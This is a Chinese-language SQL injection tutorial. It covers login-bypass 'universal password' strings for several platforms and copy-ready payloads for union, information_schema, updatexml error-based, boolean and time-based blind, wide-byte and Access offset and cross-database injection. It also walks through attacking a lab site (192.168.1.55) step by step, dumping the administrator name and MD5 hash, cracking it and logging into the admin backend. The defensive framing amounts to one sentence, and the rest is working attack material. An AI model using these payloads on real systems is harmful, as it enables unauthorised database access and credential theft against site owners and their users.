SQL注入
Web入侵先遣-SQL注入攻击技术初探
SQL 注入式攻击技术,一般针对基于 Web 平台的应用程序.造成 SQL 注入攻击漏洞的原 因,是由于程序员在编写 Web 程序时,没有对浏览器端提交的参数进行严格的过滤和判断。 用户可以修改构造参数,提交 SQL 查询语句,并传递至服务器端,从而获取想要的敏感信息, 甚至执行危险的代码或系统命令。
虽然 SQL 注入攻击技术早已出现,但是时至今日仍然有很大一部分网站存在 SQL 注入漏 洞,在本章开篇中进行的入侵检测中就发现了各大门户网站同样存在 SQL 注入漏洞,更别说 一些小网站了。由于 SQL 漏润存在的普遍性,因此 SQL 入侵攻击技术往往成为黑客入侵攻击 网站渗透内部服务的首选技术,其危害性非常大。
下面对目前的各种流行 SQL 注入攻击技术进行总结,以便网络安全管理人员和工作者更 加深入地了解这种攻击与防御方法。
1.1注射式攻击的原理
注射式攻击的根源在于,程序命令和用户数据(即用户输入)之间没有做到泾渭分明。 这使得攻击者有机会将程序命令当作用户输入的数据提交给 Web 程序,以发号施令,为所欲 为(注:注入最终是数据库,与脚本、平台无关)。
总之一句话:注入产生的原因是接受相关参数未经处理直接带入数据库查询操作
为了发动注射攻击,攻击者需要在常规输入中混入将被解释为命令的“数据”,要想成功,必须要做三件事情:
确定 Web 应用程序所使用的技术
注射式攻击对程序设计语言或者硬件关系密切,但是这些可以通过适当的踩点或者索性 将所有常见的注射式攻击都搬出来逐个试一下就知道了。为了确定所采用的技术,攻击者可 以考察 Web 页面的页脚,查看错误页面,检查页面源代码,或者使用诸如 Nessus、AWVS、 APPSCAN 等工具来进行刺探。
确定所有可能的输入方式
Web 应用的用户输入方式比较多,其中一些用户输入方式是很明显的,如 HTML 表单; 另外,攻击者可以通过隐藏的 HTML 表单输入、HTTP 头部、cookies、甚至对用户不可见的 后端 AJAX 请求来跟 Web 应用进行交互。一般来说,所有 HTTP 的 GET 和 POST 都应当作用户 输入。为了找出一个 Web 应用所有可能的用户输入,我们可以求助于 Web 代理,如 Burp 等。
查找可以用于注射的用户输入
在找出所有用户输入方式后,就要对这些输入方式进行筛选,找出其中可以注入命令的 那些输入方式。这个任务好像有点难,但是这里有一个小窍门,那就是多多留意 Web 应用的 错误页面,很多时候您能从这里得到意想不到的收获。
1.2经典OR漏洞原理解析
大家经常听到网站万能密码登录,今天我们就来分析分析万能密码是怎么回事。先给大 家来一个简单的实例:
1.登录页面关键代码如下:
private bool NoProtectLogin(stringName,stringPassword)
{
intcont = (int)SqlHelper.Instance.ExecuteScalar(string.Format(`SELECT COUNT(*) FROM login WHERE NAME = '{0}' AND PASSWORD = '{1}'`,stringName,stringPassword));
return count > 0 ? true:false;
}
方法中 Name 和 password 是没有经过任何处理,直接拿前端传入的数据,这样拼接的 SQL 会存在注入漏洞。(帐户:yuan 123)
1)输入正常数据,效果如图:
合并的 SQL 为:select * from Admin where name='yuan' and passWord='123'
2)输入注入数据:
如图,即用户名为:用户名:'or 1=1--,密码可随便输入
合并的 SQL 为: SELECT * FROM admin WHERE Name=''or 1=1--'and Password='mima'
2、现在我们来分析一下:'or 1=1--为什么能登录系统,原因有如下:
(1)、SELECT * FROM admin WHERE Name=''or 1=1 首先看这条查询语句,查询所有 来自 admin 表的数据,条件 name 为空或者 1=1,这两个条件只要一个满足就为真,Name=''or 1=1 现在1=1就是真而且是是没任何作用的真,那么最终数据库执行的语句相当于 select* from Admin
(2)、因为 Name 值中输入了“--”注释符,后面语句被省略而登录成功。(常常的手 法:前面加上'; ' (分号,用于结束前一条语句),后边加上'--' (用于注释后边的语句))
(2)、不同的程序万能密码也是不一样的,如 ASP 的万能密码是'or'='or' PHP 的万 能密码是'or 1=1/* (如果在登陆窗口输入错误的语法出现报错一般说明存在 sql 注入)详细
asp aspx万能密码
1:"or "a"="a
2: ')or('a'='a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6:"or 1=1--
7:'or'a'='a
8:"or"="a'='a
9:'or''='
10:'or'='or'
11:1 or '1'='1'=1
12:1 or '1'='1' or 1=1
13: 'OR 1=1%00
14: "or 1=1%00
15:'xor
16: 用户名 ' UNION Select 1,1,1 FROM admin Where ''=' (替换表名admin)
密码 1
17..admin' or 'a'='a 密码随便
PHP万能密码
'or 1=1/*
User: something
Pass: ' or '1'='1
jsp 万能密码
1'or'1'='1
admin' or 1=1/*
1.3注入前的准备及注入漏洞检测
1.3.1取消友好HTTP错误信息
在进行 SQL 注入攻击时,需要利用到从服务器返回的各种出错信息,但是在浏览器中默 认设置是不显示详细错误返回信息的,不论服务器返回什么错误,都只能看到“HTTP 500 服务器错误”的窗口(图 1)。因此,每次进行 SQL 注入攻击测试前,首先要取消 IE 浏览器 返回信息设置,以便查看到注入攻击时返回的数据库信息。
打开 IE 浏览器,选择菜单“工具”一“Internet 选项”命令,打开“Internet 选项” 对话框。打开“高级”选项卡,在“设置”列表框中找到“浏览组”,取消勾选“显示友好 HTTP 错误信息息”复选框(图 2)。
1.3.2手工检测SQL注入点
最常用的 SQL 注入点判断方法,是在网站中寻找如下形式的网页链接。
http://www.*****.com/***.asp?id=xx (ASP 注入)
或者下面的链接。
http://www.*****.com/***.php?id=xx (php 注入)
http://www.*****.com/***.jsp?id=xx (jsp 注入)
http://www.*****.com/***.aspx?id=xx (aspx 注入)
http://www.*****.com/index.asp?id=8&page=99 (注:注入的时候确认是 id 参数还是 page 参数,工具默认只对后面 page 参数注入,所以要对工具进行配置或者手工调换)
http://www.*****.com/index/new/id/8 伪静态
http://www. *****.com/index/new/php-8.html 伪静态
其中的“**”可能是数字,也有可能是字符串,分别被称为整数类型数据和字符型数据。 如何判断某个网页链接是否存在 SQL 注入漏洞呢?通常有两种检测方法。
1.“单引号”法
第一种检测 SQL 注入漏洞是否存在的方法是“单引号”法。方法很简单,直接在浏览器 地址栏中的网址链接后加上一个单引号,如果页面不能正常显示,浏览器返回一些异常信息, 则说明该链接可能存在注入漏洞。
2. 1=1和1=2法
很多时候检测提交包含引号的链接时,会提示非法字符,或者直接不返回任何信息,但 这并不等于不存在 SQL 注入漏洞。此时可使用经典的“1=1 和 1=2”法进行检测。方法很简 单,就是直接在链接地址后分别加上 and 1=1 和 and 1=2 进行提交,如果返回不同的页面, 那么说明存在 SQL 注入漏洞。
1.4注入分类
1.4.1数字型注入
构建语句:
select xxx from table where id=num;
-- 我们想构成的语句
select xxx from table where id=num or 1=1;
这个时候我们只带出了一条信息
然后我们使用 or 1=1
进行注入
这个时候我们带出所有的信息
1.4.2字符型注入
构建语句
select xxx,xxx,xxx from table where xxx='name';
-- 我们想构成的语句
select xxx,xxx,xxx from table where xxx='name' or 1=1;
我们发现这个语句存在问题,发现这个语句的 vince or 1=1 是直接被认作字符串,我 们在 vince 后面添加单引号来闭合 vince,再在 1=1 后面添加注释#来消除掉后面的单引号, 这样来完成一个 SQL 语句的拼接合法性
因为是.php 所以我们使用万能公式带入
整个数据库就被我们带出来了
1.4.3搜索型注入
构建语句
select xxx,xxx,xxx from table where xxx like "%(对应值)%";
-- 我们想构建的
select xxx,xxx,xxx from table where xxx like "%(对应值)%" or 1=1;
我们试用一下注入
没错,也被我们带出来了
1.4.4 XX型注入
XX型是由于SQL语句拼接方式不同,注入语句如下
select xxx,xxx,xxx from table where xxx=("xx");
--我们想构建的
select xxx,xxx,xxx from table where xxx=("xx") or 1=1;
试用xx注入
1.5注入方式提交
ASP:request (全部接受)、request.querystring (接受 get)、request.form (接受 post)、 request.cookie cookie (接受 cookie)
PHP: $_REQUEST(全部接受)、$_GET $_POST (接受 post)、$_COOKIE(接受 cookie)
1.5.1 Get方式(一般通过浏览器地址栏提交)
1.5.2 Post方式
我这里试用postman构建
1.5.3 cookie提交
一般通过Burp工具来完成
1.6注入攻击方式
主要有:union 注入、insert/update 注入、delete 注入、http header 注入、盲注(base on boolian)、盲注(base on time)、函数报错、宽字节注入、二次注入、偏移注入等
1.6.1 union注入
union 操作符用于合并两个或多个 SQL 语句集合起来,得到联合的查询结果。
构建语句
select xxx,xxx,xxx from table where xxx='xx';
-- 我们想构建的
select xxx,xxx,xxx from table where xxx='xx' union select xxx,xxx,xxx from table;
Ps union操作符一般与order by语句配合使用(union 后跟的select语句要求与前面的语句列数要一致,所以我们使用order by 来刺探列长)
select xxx,xxx,xxx from table where xxx='xx';
-- 我们想构建的
select xxx,xxx,xxx from table where xxx='xx' order by num
这就代表字段不一一对应,我们使用order by 进行刺探
哦吼,失败了,缩小一点
好了 证明有3个字段,进行刚才的字段 不过我们需要构成3列
最后一行为我们成功带出来的信息
1.6.2 information_schema注入
information_schema 数据库是 MySQL 系统自带的数据库。其中保存着关于 MySQL 服务器所维护的所有其他数据库的信息。通过 information_schema 注入,我们可以将整 个数据库内容全部窃取出来, 使用 order by 来判断查询的字段。先找出数据库的名称
我们刚才已经知道是3个字段且表名为 pickchu 这次我们注入一下information库看看能否拿到我们想要的信息
下面我们将要获取pikachu数据库的表名输入 ' union select table_schema,table_name,1 from information_schema.tables where table_schema='pikachu'#
我们看到了users表 来看看users表中的字段有哪些 输入 ' union select table_name,column_name,1 from information_schema.columns where table_name='users' #
看到了users表中含有username,password字段 下面我们获取内容 ' union select username,password,1 from users #
1.6.3 基于函数报错注入
一、技巧思路:
在 MYSQL 中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息,常 见的 select/insert/update/delete 注入都可以使用报错方式来获取信息.
二、背景条件:
后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端.
三、基于报错的信息获取(三个常用的用来报错的函数) updatexml():凼数是 MYSQL 对 XML 文档数据进行查询和修改的 XPATH 凼数. extractvalue() :凼数也是 MYSQL 对 XML 文档数据进行查询的 XPATH 函数. floor():MYSQL 中用来取整的凼数.
四、基于报错的信息获取
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc
第二个参数:XPath_string (Xpath 格式的字符串) ,如果不了解 Xpath 语法,可以在网 上查找教程。
第三个参数:new_value,String 格式,替换查找到的符合条件的数据
五、实战测试
1、爆数据库版本信息
k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
2、爆数据库当前用户
k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#
3、爆数据库
k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
4、爆表 获取数据库表名,输入:
k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#,只能采用 limit 来一行一行显示
5、爆字段 获取字段名,输入:
k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#
6、爆字段内容 获取字段内容,输入:
k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#
返回结果为连接参数产生的字符串。如有任何一个参数为 NULL ,则返回值为 NULL。 通过查询@@version,返回版本。然后 CONCAT 将其字符串化。因为 UPDATEXML 第二 个参数需要 Xpath 格式的字符串,所以丌符合要求,然后报错。
1.6.4 insert、update
insert 注入,就是前端注册的信息最终会被后台通过 insert 这个操作插入数据库,后 台在接受前端的注册数据时没有做防 SQL 注入的处理,导致前端的输入可以直接拼接 SQL 到后端的 insert 相关内容中,导致了 insert 注入。
与insert 注入的方法大体相同,区别在于 update 用于用户登陆端,insert 用于用于用 户注册端。
x'or updatexml(1,concat(0x7e,(命令)),0) or'
' or updatexml(1,concat(0x7e,(select @@version)),0) or'
1.6.5 delete
一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过 Brup Suite 抓包,对数据包相关 delete 参数进行注入,注入方法如下:
x'or updatexml(1,concat(0x7e,(命令)),0) or'
1.6.5 Http Header注入
x'or updatexml(1,concat(0x7e,(命令)),0) or'
1.6.7 Cookie注入
Cookie 是网站为了识别用户身份来跟踪会话的,虽然 Cookie 是由后端生成的,但每次 页面跳转,后端都回对前端的 Cookie 的信息进行验证,但如果后端获取 Cookie 后放在数 据库中进行拼接,那么这也将是一个 SQL 注入点。在 ant[uname]=admin 后添加一个’ 观察反馈的 MYSQL 的语法报错,发现了存在 SQL 注入漏洞,在设置 Payload 'and updatexml (1,concat(0x7e,database()),0)#,观察报错和之前是否相同。
1.6.8 Boolian(布尔型)盲注
在我们的注入语句被带入数据库查询但却什么都没有返回的情况我们该怎么办?例如 应用程序就会返回一个“通用的”的页面,戒者重定向一个通用页面(可能为网站首页)。这时,我们之前学习的 SQL 注入办法就无法使用了。
盲注,即在 SQL 注入过程中,SQL 语句执行选择后,选择的数据丌能回显到前端,我 们需要使用一些特殊的方法进行判断戒尝试,这个过程称为盲注。
SQL 盲注分为三大类:基于布尔型 SQL 盲注、基于时间型 SQL 盲注、基于报错型 SQL 盲注
采用 sql 语句中 and 的方法,返回正确戒错误来构造,按照之前的思路构造一个 SQL 拼接: vince' and extractvalue(0,concat(0x7e,version())) 也不在适用
输入 select ascii(substr(databases(),1,1)>xx);通过对比ascii码长度,判断出数据库表名的第一个字符
注:substr()函数
substr(string,start,length)
string(必需)觃定要返回其中一部分的字符串。start(必需)觃定在字符串的何处开始。length(可选) 觃定被返回字符串的长度。
我们构建新的注入语句
vince' and ascii(substr(database(),1,1))=112#
char(112) = p
1.6.9 base on time(时间型)盲注
到 base on time 盲注下,输入上个演示中设置好的 payload vince' and ascii(substr(database(),1,1))=112#,返回的信息发现丌存在注入点。那这样就丌能进行 注入了?但其实可以通过后端的执行时间来进行注入。这里会用到的 payload: vince' and sleep(x)#
基于时间的延迟,构造一个拼接语句: vince' and if(substr(database(),1,1)='X' (猜 测点)',sleep(10),null#,输入后,如果猜测真确,那么就会响应 10 秒,如果错误会立刻 返回错误。输入:vince' and if(substr(database(),1,1)='p',sleep(10),null)#,再 web 控制台下,判断出 database 的表名的一个字符为 p。通过这个办法我们就能逐步向下获取 数据。
1.6.10 宽字节注入
当我们把 php.ini 文件里面的 magic_quotes_gqc 参数设为 ON 时,所有的'(单引号), "(双引号),\(反斜杠)和 null 字符都会被自动加上一个反斜杠进行转义。还有很多函数有 类似的作用如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等, 另外还有 parse_str()后的变量也受 magic_quotes_gpc 的影响。目前大多数的主机都打开 了这个选项,并且很多程序员也注意使用上面那些函数去过滤变量,这看上去很安全,很多 漏洞查找者或者工具遇到这些函数过滤后的变量直接就放弃,但是就在他们放弃的同时也放过很多致命的安全漏洞。
其中\的十六进制是 %5C ,当我们在单引号前面加上%df 的时候,最终就会变成 運', 如果程序的默认字符集是 GBK 等宽字节字符集,则 MYSQL 用 GBK 的编码时,会认为 %df 是 一个宽字符,也就是運,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
' =======>\'单引号转义后占两个字节,所以我们需要通过繁体字%df 构造两个字节, 最终用運干掉了\,也就是说被運占领了\ 所以最后在页面也不会显示出来.
小提示: 数字和字母占一个字节,汉字占两个字节。
哪些地方没有魔术引号的保护?
1) $_SERVER 变量 PHP5 的$_SERVER 变量缺少 magic_quotes_gqc 的保护,导致近年来 X-Forwarded-For 的漏洞猛爆,所以很多程序员考虑过滤 X-Forwarded-For,但是其它的变量呢?
(2)getenv()得到的变量(使用类似$_SERVER 变量)
(3)$HTTP_RAW_POST_DATA 与 PHP 输入、输出流
1.7Access数据库注入
1.7.1 爆出数据库类型
SQL Server 有一些系统变量和系统表,如果服务器 IIS 提示没关闭,并且 SQL Server 返回错误提示的话,可以直接从出错信息中获取判断数据库的类型(后面会给大家讲解如何 突破 IIS 提示被关闭)。
1.7.1.1
“User”是 SQL Server 的一个内置变量,它的值是当前连接的用户名,其变量类型为 “nvarchar"字符型。通过提交查询该变量,根据返回的出错信息即可得知数据库类型。方 法是在注入点之后提交如下语句。
and user>0
该查询语句会将 user 对应的 nvarchar 型值与 int 数字型的 0 进行对比,两个数据类型 不一致,因此会返回出错信息。
如果提示如下出错信息。 Microsoft OLE DB Provider for SQL Server 错误'80040e21' 将 nvarchar 值'****'转换为数据类型为 int 的列时发生语法错误。
则可以判断是 MS SQL 数据库。如果采用的是 Access 数据库的话,那么提示信息则会如 下
Microsoft OLE DB Provider Drivers ODBC Drivers 错误 ‘80040e21’ ODBC 驱动程序不支持所需的属性。 /news_view.asp,行 20
1.7.1.2内置数据表爆数据库类型
如果服务器 IIS 不允许返回错误提示,通常可以通过数据库内置的系统数据表来进行判 断。在注入点后提交如下查询语句。
and (select count(*) from sysobjects)>=O
and (select count(*) from msysobjects)>=O
Access 存在系统表[msysobjects],不存在“sysobjects”表。因此如果数据库采用的 是 Access,会返回如下提示错误信息(图 5)。
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e37'
/home/yz/yu/show.asp, 行 8
[Microsoft][ODBC Microsoft Access Driver] Microsoft Jet 数据库引擎找不到输入 表或查询'sysobjects'。确定它是否存在,以及它的名称的拼写是否正确。
在 MS SQL Serve:存在系统表[sysobjects],不存在[msysobjects]系统表,因此会返 回如下错误提示信息为(图 6).
Microsoft OLE DB Provider for SQL Server 错误 '80040e37'
对象名 'msysobjects' 无效。
/home/yz/yu/show.asp, 行 8
1.7.2 猜数据库名
可在注入点后提交如下语句进行查询。
and exists(select * from 数据库表名 )
或者
and (select count(*) from 数据库表名 )>=0
上面的语句是判断数据库中是否存在指定数据库表名。如果页面返回出错,那么可更换 其他常见数据库表名继续进行查询。
1.7.3猜字段名以及字段长度
可在注入点后提交如下语句查询。
and exists(select 字段名 from 数据库表名 )
或者
and (select count(字段名) from 数据库表名 )>=0
如果存在此字段名,返回页面正常,否则可更换字段名继续进行猜测。
猜解字段长度,可提交如下查询语句。
当提交>n-1 时正常,而提交到>n 时返回出错,那么说明字段长度为 n。
and (select top 1 len(字段名) from 数据库表名 )>1
and (select top 1 len(字段名) from 数据库表名 )>2
...
and (select top 1 len(字段名) from 数据库表名 )>n-1
and (select top 1 len(字段名) from 数据库表名 )>n
当提交>n-1 时正常,而提交到>n 时返回出错,那么说明字段长度为 n。
1.7.4猜字段值
猜字段的 ascii 值,可在注入点后提交如下查询语句。
and (select top 1 asc(mid(字段名,1,1)) from 数据库表名 )>0
and (select top 1 asc(mid(字段名,1,1)) from 数据库表名 )>1
...
and (select top 1 asc(mid(字段名,1,1)) from 数据库表名 )>n-1
and (select top 1 asc(mid(字段名,1,1)) from 数据库表名 )>n
当提交>n-I 时正常,而提交到>n 时返回出错,那么说明字段值的 ASCII 码为 n。反查 ASCII 码对应的字符,就可得到字段值的第一位字符。再继续提交如下查询。
and (select top 1 asc(mid(字段名,2,1)) from 数据库表名 )>0
用与上面相同的方法,可得到第二位字符。再继续进行查询,直接猜解出字段的所有字 符值为止。
1.8 Access注入攻击案例
漏洞链接地址为:http://192.168.1.55:901/news_view.asp?id=14 分别提交“and 1=1” 和"and 1=2"返回不同页面,说明存在注入漏洞(图 7)
1.8.1 猜解数据库表名和字段
首先来猜解数据库表名,提交如下网址。
http://192.168.1.55:901/news_view.asp?id=14 and exists(select * from users)
返回错误信息,说明 users 表不存在,继续提交。
http://192.168.1.55:901/news_view.asp?id=14 and exists(select * from admin)
还是返回错误信息,说明 admin 表不存在,继续提交。
http://192.168.1.55:901/news_view.asp?id=14 and exists(select * from administrator)
返回正常页面,说明存在 administrator 表(图 8 存在 administrator 表与不存在的表 对比)
继续猜测字段并提交。
http://192.168.1.55:901/news_view.asp?id=14 and exists(select username from administrator)
返回错误信息,说明不存在 username 字段,继续提交。
http://192.168.1.55:901/news_view.asp?id=14 and exists(select user_name from administrator)
返回正常页面,administrator 表中存在字段 user_name(图 9)
再 提 交 :
http://192.168.1.55:901/news_view.asp?id=14 and exists(select password from administrator) 返回正常页面,说明 administrator 表中存在字段 password
1.8.2猜解字段长度
再继续猜测第一个字段内容长度。
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>1//正常
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>2 //正常
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>5 //报错
说明 administrator 表中的 user_name 字段长度为 5(图 10)
1.8.3 猜解字段内容
现在猜解字段内容并提交。
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>0 //返回正常页面
说明 ASCII 值大于 0 ,字段值应该为字母,如果是小于 0 那么说明是汉字,下面我们继 续猜解。
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>500 //返回错误页面
说明字段对应的 ASCll 值在 0 和 500 之间。继续提交。
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>100 //返回错误页面
说明字段对应的 ASCll 值在 90 和 100 之间。继续提交。
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>96 //返回正常页面
说明字段对应的 ASCll 值在 96 和 100 之间。继续提交。
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>97 //返回错误页面
说明 administrator 表中的 user_name 字段的第一位 ASCII 值为 97。通过反查 ASCII 值对应的字母,得到字符值为“a”(图 11)接着第二位查询。
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,2,1)) from administrator)>99 //返回正常页面(注:查第二个字母 的时候记得把 user_name 后面的 1 变成 2)
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,2,1)) from administrator)>100 //返回错误页面
用同样的方法,可猜解 user_name 字段值和 password 值,最终得到如下结果:
[user_name]:admin
[password]:21232f297a57a5a743894a0e4a801fc3
可看出 password 的值为 32 位 MD5 加密,使用 MD5 在线破解工具进行破解,得到明文密 码为 admin(图 14).
得到管理员用户名和密码后,登录后台:http://192.168.1.55:901/admin/index.asp, 输入猜解出来的用户名和密码.就可以成功进入网站后台页面。 小提示: access 数据库都是存放在网站目录下,后缀格式为 mdb,asp,asa,可以通过 一些暴库手段、目录猜解等直接下载数据库,如果是 MSSQL、MYSQL 等,一般数据库是存储 在数据库安装路径下,后缀格式为 myi,myd,frm,mdf 不能通过下载得到库。除非走狗屎 运,对方管理员把网站库备份在网站目录下。
php+mysql 数据库存储在数据库安装路径下,后缀格式 myi,myd,frm
1.9 SQL注入中的高级查询-order by 与 union select
在上一节中介绍的 ASCII 码猜解法很浪费时间,下面介绍一种高效率的方法一一 order by 与 union select 联合查询,可以快速地获得字段长度及字段内容。这种查询方法,不仅 可以利用在 Access 数据库猜解中,必须掌握的方法。同样也可以利用在其他类型数据库的 注入猜解中,是一种非常重要,而且必须掌握的方法。
1.9.1 order by猜字段数目
首先,利用 order by 猜解字段数目,查询语句如下。
order by 1
order by 2
...
order by n-1
order by n
如果 n-1 时返回正常,n 时返回错误,那么说明字段数目为 n。
1.9.2 union select爆字段内容
得到字段长度后,就可利用 union select 查询获得字段内容了。
and 1=2 union select1, 2, 3...., n from 表名
执行上面的查询时,在页面中会返回数字,修改查询语句中的数字为字段名,例如提交 如下代码。
and 1=2 union select1, 字段 1, 字段 2...., n from 表名
在页面中就会返回字段内容,不必一个一个进行猜解了。
1.9.3 union select查询攻击测试
在前面的案例中.己猜解出了表名及字段名,现在来进行高效查询获得字段内容。 首先查询字段数目,提交如下:
http://192.168.1.55:901/news_view.asp?id=14 order by 1 //正常
http://192.168.1.55:901/news_view.asp?id=14 order by 7 //正常
http://192.168.1.55:901/news_view.asp?id=14 order by 8 //错误
说明字段数目为7,因此可以提交一下字段
http://192.168.1.55:901/news_view.asp?id=14and 1=2 union select 1,2,3,4,5,6,7 from administrator (通过联合查询从这 7 个字段里面去查询 administrator 表里面那些 是可写的数字)
1.9.4 偏移注入
偏移注入是针对 Access 数据库,当我们注入猜到数据库表名确猜不到列名的情况下, 这种方法就可以帮我们填补。(注:这种方法运气很重要)
第一步: http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1,2,3,4,5,6,7 from administrator 当我们把把 username 或 password 代入 2、3 查询不到的时候,就可以使用下 面方法。
第 二 步 : http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1,2,3,4,* from administrator 分别用号代替数字,直到返回正常页面。发现在 4 的时候页面返回正常,接 着我们用7-4=3(代表administrator 有3个字段)再接着用32+1=7来构造第三步注入语句。
第 三 步 : http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1, a.id,b.id, * from (administrator as a inner join administrator as b on a.id=b.id) 注:a.id ,b.id 每个占三个 字段,就是上面 32
第四步: 如果用户名和密码没暴出来,并且字段数多的情况下(例如:10 个字段,那就是 33+1=10 ), 那 么 通 过 下 例 语 句 还 可 以 接 着 暴 用 户 名 和 密 码 :http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1,a.id,b.id,c.id,* from ((administrator as a inner join administrator as b on a.id=b.id) inner join administrator as c a.id=c.id)
1.9.5注入跨库查询
假设 a 和 b 两个站点在同一服务器上面,但服务器上面安装了安全狗、Waf 这样的安全 软件,现在我们要对 a 站点进行攻击,但是没发现什么大漏洞,只找到网站数据库路径,对 数据库下载发现下载不了。这个时候我发现 b 站点有注入点。直接用 http://192.168.1.106:901/news_view.asp?id=14、
UNION SELECT 1,adminpassword,username,4,5,6,7 from [C:\wwwtest\2AspCMS\AspCms_data\data.asp].Aspcms_Admins